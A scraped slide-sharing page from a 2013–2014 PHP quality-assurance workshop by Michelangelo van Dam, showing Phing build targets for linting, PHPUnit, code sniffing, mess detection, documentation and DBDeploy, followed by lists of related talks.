<property file="local.properties" override="true" />
<!-- define our code base files -->
<fileset dir="${project.basedir}" id="phpfiles">
<include name="application/**/*.php" />
<include name="library/In2it/**/*.php" />
</fileset>
<!-- let’s validate the syntax of our code base -->
<target name="phplint" description="Validating PHP Syntax">
<phplint haltonfailure="true">
<fileset refid="phpfiles" />
</phplint>
</target>
</project>
Structure of a build
<!-- define our code base files -->
<fileset dir="${project.basedir}" id="phpfiles">
<include name="application/**/*.php" />
<include name="library/In2it/**/*.php" />
</fileset>
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">
<!-- set global and local properties -->
<property file="build.properties"/>
<property file="local.properties" override="true" />
<!-- define our code base files -->
<fileset dir="${project.basedir}" id="phpfiles">
<include name="application/**/*.php" />
<include name="library/In2it/**/*.php" />
</fileset>
<!-- let’s validate the syntax of our code base -->
<target name="phplint" description="Validating PHP Syntax">
<phplint haltonfailure="true">
<fileset refid="phpfiles" />
</phplint>
</target>
</project>
Structure of a build
<!-- let’s validate the syntax of our code base -->
<target name="phplint" description="Validating PHP Syntax">
<phplint haltonfailure="true">
<fileset refid="phpfiles" />
</phplint>
</target>
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">
<!-- set global and local properties -->
<property file="build.properties"/>
<property file="local.properties" override="true" />
<!-- define our code base files -->
<fileset dir="${project.basedir}" id="phpfiles">
<include name="application/**/*.php" />
<include name="library/In2it/**/*.php" />
</fileset>
<!-- let’s validate the syntax of our code base -->
<target name="phplint" description="Validating PHP Syntax">
<phplint haltonfailure="true">
<fileset refid="phpfiles" />
</phplint>
</target>
</project>
Structure of a build
</project>
build.properties
project.title=WeCycle
phpbook:qademo dragonbe$ cat build.properties
# General settings
project.website=http://wecycle.local
project.title=WeCycle
# AB Testing properties
abrequests=1000
abconcurrency=10
local.properties
project.website=http://qademo.local
abrequests=1000
abconcurrency=10
db.username=qademo_user
db.password=v3rRyS3crEt
db.hostname=127.0.0.1
db.dbname=qademo
Let’s	
  run	
  it
Artifacts
• some tools provide output we can use later
• called “artifacts”
• we need to store them somewhere
• so we create a prepare target
• that creates these artifact directories (./build)
• that gets cleaned every run
Prepare for artifacts
<target name="prepare" description="Clean up the build path">
<delete dir="${project.basedir}/build" quiet="true" />
<mkdir dir="${project.basedir}/build" />
<mkdir dir="${project.basedir}/build/docs" />
<mkdir dir="${project.basedir}/build/logs" />
<mkdir dir="${project.basedir}/build/coverage" />
<mkdir dir="${project.basedir}/build/pdepend" />
<mkdir dir="${project.basedir}/build/browser" />
</target>
phpdoc2
<target name="phpdoc2" description="Generating automated documentation">
<property name="doc.title" value="${project.title} API Documentation"/>
<exec
command="/usr/bin/phpdoc
-d application/,library/In2it
-e php -t ${project.basedir}/build/docs
--title=&quot;${doc.title}&quot;"
dir="${project.basedir}"
passthru="true" />
</target>
PHPUnit
<target name="phpunit" description="Running unit tests">
<exec
command="/usr/bin/phpunit
--coverage-html ${project.basedir}/build/coverage
--coverage-clover ${project.basedir}/build/logs/clover.xml
--log-junit ${project.basedir}/build/logs/junit.xml"
dir="${project.basedir}/tests"
passthru="true" />
</target>
PHP_CodeSniffer
<target name="phpcs" description="Validate code with PHP CodeSniffer">
<exec
command="/usr/bin/phpcs
--report=checkstyle
--report-file=${project.basedir}/build/logs/checkstyle.xml
--standard=Zend
--extensions=php application library/In2it"
dir="${project.basedir}"
passthru="true" />
</target>
Copy Paste Detection
<target name="phpcpd" description="Detect copy/paste with PHPCPD">
<phpcpd>
<fileset refid="phpfiles" />
<formatter
type="pmd"
outfile="${project.basedir}/build/logs/pmd-cpd.xml" />
</phpcpd>
</target>
PHP Mess Detection
<target name="phpmd" description="Mess detection with PHPMD">
<phpmd>
<fileset refid="phpfiles" />
<formatter
type="xml"
outfile="${project.basedir}/build/logs/pmd.xml" />
</phpmd>
</target>
PHP Depend
<target name="pdepend" description="Dependency calculations with PDepend">
<phpdepend>
<fileset refid="phpfiles" />
<logger
type="jdepend-xml"
outfile="${project.basedir}/build/logs/jdepend.xml" />
<logger
type="phpunit-xml"
outfile="${project.basedir}/build/logs/phpunit.xml" />
<logger
type="summary-xml"
outfile="${project.basedir}/build/logs/pdepend-summary.xml" />
<logger
type="jdepend-chart"
outfile="${project.basedir}/build/pdepend/pdepend.svg" />
<logger
type="overview-pyramid"
outfile="${project.basedir}/build/pdepend/pyramid.svg" />
</phpdepend>
</target>
PHP CodeBrowser
<target name="phpcb" description="Code browser with PHP_CodeBrowser">
<exec
command="/usr/bin/phpcb
-l ${project.basedir}/build/logs
-S php
-o ${project.basedir}/build/browser"
dir="${project.basedir}"
passthru="true"/>
</target>
Create a build procedure
<target name="build" description="Building app">
<phingCall target="prepare" />
<phingCall target="phplint" />
<phingCall target="phpunit" />
<phingCall target="phpdoc2" />
<phingCall target="phpcs" />
<phingCall target="phpcpd" />
<phingCall target="phpmd" />
<phingCall target="pdepend" />
<phingCall target="phpcb" />
</target>
Other things to automate
• server stress-testing with Apache Benchmark
• database deployment with DBDeploy
• package code base with Phar
• transfer package to servers with
- FTP/SFTP
- scp/rsync
• execute remote commands with SSH
• … so much more
Example DBDeploy
<target name="dbdeploy" description="Update the DB to the latest version">
<!-- set the path for mysql execution scripts -->
<property
name="dbscripts.dir"
value="${project.basedir}/${dbdeploy.scripts}" />
<!-- process the DB deltas -->
<dbdeploy
url="mysql:host=${db.hostname};dbname=${db.dbname}"
userid="${db.username}"
password="${db.password}"
dir="${dbscripts.dir}/deltas"
outputfile="${dbscripts.dir}/all-deltas.sql"
undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/>
<!-- execute deltas -->
<pdosqlexec
url="mysql:host=${db.hostname};dbname=${db.dbname}"
userid="${db.username}"
password="${db.password}"
src="${dbscripts.dir}/all-deltas.sql"/>
</target>
Build	
  it
Continuous Integration
Online service
Auto hook GitHub
Direct PHPUnit testing
Free for OSS projects
Self hosted
Connects to SCM
Unit tests
Dependency Metrics
Documentation
Violation Report
Mess Detection
Free OSS
Now you are a winner!
Team Works!
Conclusion
Get your information
in a consistent, automated way
and make it accessible for the team
More people can better safeguard the code!
Recommended	
  reading
www.owasp.org planet.phpunit.de
(just click on the links)
Recommended	
  reading
• OOD	
  Quality	
  Metrics
-­‐ Robert	
  Cecil	
  MarFn
Free
h@p://www.objectmentor.com/publicaFons/oodmetrc.pdf
#PHPBNL14
January 25 - 26, 2014
https://joind.in/9041
If you liked it, thank you!
If not, tell me how to improve this talk
Michelangelo van Dam
Zend Certified Engineer
michelangelo@in2it.be
PHP Consulting - QA audits - Training
www.in2it.be
Credits
I’d like to thank the following people for sharing their creative commons pictures
michelangelo: http://www.flickr.com/photos/dasprid/5148937451
birds: http://www.flickr.com/photos/andyofne/4633356197
safeguarding: http://www.flickr.com/photos/infidelic/4306205887/
bugs: http://www.flickr.com/photos/goingslo/4523034319
behaviour: http://www.flickr.com/photos/yuan2003/1812881370
prevention: http://www.flickr.com/photos/robertelyov/5159801170
progress: http://www.flickr.com/photos/dingatx/4115844000
workout: http://www.flickr.com/photos/aktivioslo/3883690673
measurement: http://www.flickr.com/photos/cobalt220/5479976917
team spirit: http://www.flickr.com/photos/amberandclint/3266859324
time: http://www.flickr.com/photos/freefoto/2198154612
continuous reporting: http://www.flickr.com/photos/dhaun/5640386266
deploy packages: http://www.flickr.com/photos/fredrte/2338592371
coffee: http://www.flickr.com/photos/nalundgaard/3167849171
chris hartjes: http://www.flickr.com/photos/akrabat/8421560178
mount everest: http://upload.wikimedia.org/wikipedia/commons/0/00/Nepal_Mount_Everest_And_Ama_dablam.jpg
everybody likes this: http://www.flickr.com/photos/19marksdesign/5268732048
race cars: http://www.flickr.com/photos/robdunckley/3781995277
protection dog: http://www.flickr.com/photos/boltofblue/5724934828
gears: http://www.flickr.com/photos/freefoto/5982549938
1st place: http://www.flickr.com/photos/evelynishere/3417340248
elephpant: http://www.flickr.com/photos/drewm/3191872515
Thank you

More Related Content

What's hot

EPHPC Webinar Slides: Unit Testing by Arthur Purnama
EPHPC Webinar Slides: Unit Testing by Arthur PurnamaEPHPC Webinar Slides: Unit Testing by Arthur Purnama
EPHPC Webinar Slides: Unit Testing by Arthur PurnamaEnterprise PHP Center
 
Building a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing StrategiesBuilding a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing StrategiesCiaranMcNulty
 
PHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the testsPHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the testsMichelangelo van Dam
 
QA Lab: тестирование ПО. Яков Крамаренко: "KISS Automation"
QA Lab: тестирование ПО. Яков Крамаренко: "KISS Automation"QA Lab: тестирование ПО. Яков Крамаренко: "KISS Automation"
QA Lab: тестирование ПО. Яков Крамаренко: "KISS Automation"GeeksLab Odessa
 
PHP: 4 Design Patterns to Make Better Code
PHP: 4 Design Patterns to Make Better CodePHP: 4 Design Patterns to Make Better Code
PHP: 4 Design Patterns to Make Better CodeSWIFTotter Solutions
 
QA Lab: тестирование ПО. Станислав Шмидт: "Self-testing REST APIs with API Fi...
QA Lab: тестирование ПО. Станислав Шмидт: "Self-testing REST APIs with API Fi...QA Lab: тестирование ПО. Станислав Шмидт: "Self-testing REST APIs with API Fi...
QA Lab: тестирование ПО. Станислав Шмидт: "Self-testing REST APIs with API Fi...GeeksLab Odessa
 
UA testing with Selenium and PHPUnit - TrueNorthPHP 2013
UA testing with Selenium and PHPUnit - TrueNorthPHP 2013UA testing with Selenium and PHPUnit - TrueNorthPHP 2013
UA testing with Selenium and PHPUnit - TrueNorthPHP 2013Michelangelo van Dam
 
Mocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnitMocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnitmfrost503
 
Тестирование и Django
Тестирование и DjangoТестирование и Django
Тестирование и DjangoMoscowDjango
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastMichelangelo van Dam
 
PHPUnit best practices presentation
PHPUnit best practices presentationPHPUnit best practices presentation
PHPUnit best practices presentationThanh Robi
 
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQUA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQMichelangelo van Dam
 
Dependency Injection in PHP
Dependency Injection in PHPDependency Injection in PHP
Dependency Injection in PHPKacper Gunia
 
Unit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxUnit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxMichelangelo van Dam
 
New Features PHPUnit 3.3 - Sebastian Bergmann
New Features PHPUnit 3.3 - Sebastian BergmannNew Features PHPUnit 3.3 - Sebastian Bergmann
New Features PHPUnit 3.3 - Sebastian Bergmanndpc
 
Unit testing with zend framework tek11
Unit testing with zend framework tek11Unit testing with zend framework tek11
Unit testing with zend framework tek11Michelangelo van Dam
 
Introduction to Unit Testing with PHPUnit
Introduction to Unit Testing with PHPUnitIntroduction to Unit Testing with PHPUnit
Introduction to Unit Testing with PHPUnitMichelangelo van Dam
 
Test in action week 2
Test in action   week 2Test in action   week 2
Test in action week 2Yi-Huan Chan
 

What's hot (20)

EPHPC Webinar Slides: Unit Testing by Arthur Purnama
EPHPC Webinar Slides: Unit Testing by Arthur PurnamaEPHPC Webinar Slides: Unit Testing by Arthur Purnama
EPHPC Webinar Slides: Unit Testing by Arthur Purnama
 
Building a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing StrategiesBuilding a Pyramid: Symfony Testing Strategies
Building a Pyramid: Symfony Testing Strategies
 
PHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the testsPHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the tests
 
Your code are my tests
Your code are my testsYour code are my tests
Your code are my tests
 
QA Lab: тестирование ПО. Яков Крамаренко: "KISS Automation"
QA Lab: тестирование ПО. Яков Крамаренко: "KISS Automation"QA Lab: тестирование ПО. Яков Крамаренко: "KISS Automation"
QA Lab: тестирование ПО. Яков Крамаренко: "KISS Automation"
 
PHP: 4 Design Patterns to Make Better Code
PHP: 4 Design Patterns to Make Better CodePHP: 4 Design Patterns to Make Better Code
PHP: 4 Design Patterns to Make Better Code
 
QA Lab: тестирование ПО. Станислав Шмидт: "Self-testing REST APIs with API Fi...
QA Lab: тестирование ПО. Станислав Шмидт: "Self-testing REST APIs with API Fi...QA Lab: тестирование ПО. Станислав Шмидт: "Self-testing REST APIs with API Fi...
QA Lab: тестирование ПО. Станислав Шмидт: "Self-testing REST APIs with API Fi...
 
UA testing with Selenium and PHPUnit - TrueNorthPHP 2013
UA testing with Selenium and PHPUnit - TrueNorthPHP 2013UA testing with Selenium and PHPUnit - TrueNorthPHP 2013
UA testing with Selenium and PHPUnit - TrueNorthPHP 2013
 
Mocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnitMocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnit
 
Phpunit testing
Phpunit testingPhpunit testing
Phpunit testing
 
Тестирование и Django
Тестирование и DjangoТестирование и Django
Тестирование и Django
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfast
 
PHPUnit best practices presentation
PHPUnit best practices presentationPHPUnit best practices presentation
PHPUnit best practices presentation
 
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQUA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
 
Dependency Injection in PHP
Dependency Injection in PHPDependency Injection in PHP
Dependency Injection in PHP
 
Unit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxUnit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBenelux
 
New Features PHPUnit 3.3 - Sebastian Bergmann
New Features PHPUnit 3.3 - Sebastian BergmannNew Features PHPUnit 3.3 - Sebastian Bergmann
New Features PHPUnit 3.3 - Sebastian Bergmann
 
Unit testing with zend framework tek11
Unit testing with zend framework tek11Unit testing with zend framework tek11
Unit testing with zend framework tek11
 
Introduction to Unit Testing with PHPUnit
Introduction to Unit Testing with PHPUnitIntroduction to Unit Testing with PHPUnit
Introduction to Unit Testing with PHPUnit
 
Test in action week 2
Test in action   week 2Test in action   week 2
Test in action week 2
 

Similar to Workshop quality assurance for php projects - ZendCon 2013

Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8Michelangelo van Dam
 
Workshop quality assurance for php projects - phpdublin
Workshop quality assurance for php projects - phpdublinWorkshop quality assurance for php projects - phpdublin
Workshop quality assurance for php projects - phpdublinMichelangelo van Dam
 
Quality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStormQuality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStormMichelangelo van Dam
 
Lean Php Presentation
Lean Php PresentationLean Php Presentation
Lean Php PresentationAlan Pinstein
 
Ch ch-changes cake php2
Ch ch-changes cake php2Ch ch-changes cake php2
Ch ch-changes cake php2markstory
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐいHisateru Tanaka
 
CodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkCodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkBo-Yi Wu
 
Quality Use Of Plugin
Quality Use Of PluginQuality Use Of Plugin
Quality Use Of PluginYasuo Harada
 
From Dev to DevOps - Apache Barcamp Spain 2011
From Dev to DevOps - Apache Barcamp Spain 2011From Dev to DevOps - Apache Barcamp Spain 2011
From Dev to DevOps - Apache Barcamp Spain 2011Carlos Sanchez
 
Zend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_ToolZend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_ToolGordon Forsythe
 
Advanced Php - Macq Electronique 2010
Advanced Php - Macq Electronique 2010Advanced Php - Macq Electronique 2010
Advanced Php - Macq Electronique 2010Michelangelo van Dam
 
Zendcon 2007 Api Design
Zendcon 2007 Api DesignZendcon 2007 Api Design
Zendcon 2007 Api Designunodelostrece
 
Advanced PHPUnit Testing
Advanced PHPUnit TestingAdvanced PHPUnit Testing
Advanced PHPUnit TestingMike Lively
 
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)arcware
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207patter
 
Symfony2 from the Trenches
Symfony2 from the TrenchesSymfony2 from the Trenches
Symfony2 from the TrenchesJonathan Wage
 

Similar to Workshop quality assurance for php projects - ZendCon 2013 (20)

Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8
 
Workshop quality assurance for php projects - phpdublin
Workshop quality assurance for php projects - phpdublinWorkshop quality assurance for php projects - phpdublin
Workshop quality assurance for php projects - phpdublin
 
Quality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStormQuality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStorm
 
Lean Php Presentation
Lean Php PresentationLean Php Presentation
Lean Php Presentation
 
Unit testing zend framework apps
Unit testing zend framework appsUnit testing zend framework apps
Unit testing zend framework apps
 
Mojolicious
MojoliciousMojolicious
Mojolicious
 
Ch ch-changes cake php2
Ch ch-changes cake php2Ch ch-changes cake php2
Ch ch-changes cake php2
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい
 
CodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkCodeIgniter PHP MVC Framework
CodeIgniter PHP MVC Framework
 
PHPSpec BDD Framework
PHPSpec BDD FrameworkPHPSpec BDD Framework
PHPSpec BDD Framework
 
Quality Use Of Plugin
Quality Use Of PluginQuality Use Of Plugin
Quality Use Of Plugin
 
From Dev to DevOps - Apache Barcamp Spain 2011
From Dev to DevOps - Apache Barcamp Spain 2011From Dev to DevOps - Apache Barcamp Spain 2011
From Dev to DevOps - Apache Barcamp Spain 2011
 
Zend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_ToolZend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_Tool
 
Advanced Php - Macq Electronique 2010
Advanced Php - Macq Electronique 2010Advanced Php - Macq Electronique 2010
Advanced Php - Macq Electronique 2010
 
Zendcon 2007 Api Design
Zendcon 2007 Api DesignZendcon 2007 Api Design
Zendcon 2007 Api Design
 
CakePHP
CakePHPCakePHP
CakePHP
 
Advanced PHPUnit Testing
Advanced PHPUnit TestingAdvanced PHPUnit Testing
Advanced PHPUnit Testing
 
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207
 
Symfony2 from the Trenches
Symfony2 from the TrenchesSymfony2 from the Trenches
Symfony2 from the Trenches
 

More from Michelangelo van Dam

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultMichelangelo van Dam
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functionsMichelangelo van Dam
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyMichelangelo van Dam
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageMichelangelo van Dam
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful businessMichelangelo van Dam
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me laterMichelangelo van Dam
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesMichelangelo van Dam
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heavenMichelangelo van Dam
 
Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your projectMichelangelo van Dam
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an apiMichelangelo van Dam
 

More from Michelangelo van Dam (20)

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and default
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functions
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
DevOps or DevSecOps
DevOps or DevSecOpsDevOps or DevSecOps
DevOps or DevSecOps
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
Continuous deployment 2.0
Continuous deployment 2.0Continuous deployment 2.0
Continuous deployment 2.0
 
Let your tests drive your code
Let your tests drive your codeLet your tests drive your code
Let your tests drive your code
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's story
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantage
 
The road to php 7.1
The road to php 7.1The road to php 7.1
The road to php 7.1
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful business
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me later
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutes
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heaven
 
Getting hands dirty with php7
Getting hands dirty with php7Getting hands dirty with php7
Getting hands dirty with php7
 
Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your project
 
Create, test, secure, repeat
Create, test, secure, repeatCreate, test, secure, repeat
Create, test, secure, repeat
 
The Continuous PHP Pipeline
The Continuous PHP PipelineThe Continuous PHP Pipeline
The Continuous PHP Pipeline
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an api
 
200K+ reasons security is a must
200K+ reasons security is a must200K+ reasons security is a must
200K+ reasons security is a must
 

Recently uploaded

Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demoHarshalMandlekar2
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxBkGupta21
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESmohitsingh558521
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxLoriGlavin3
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 

Recently uploaded (20)

Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
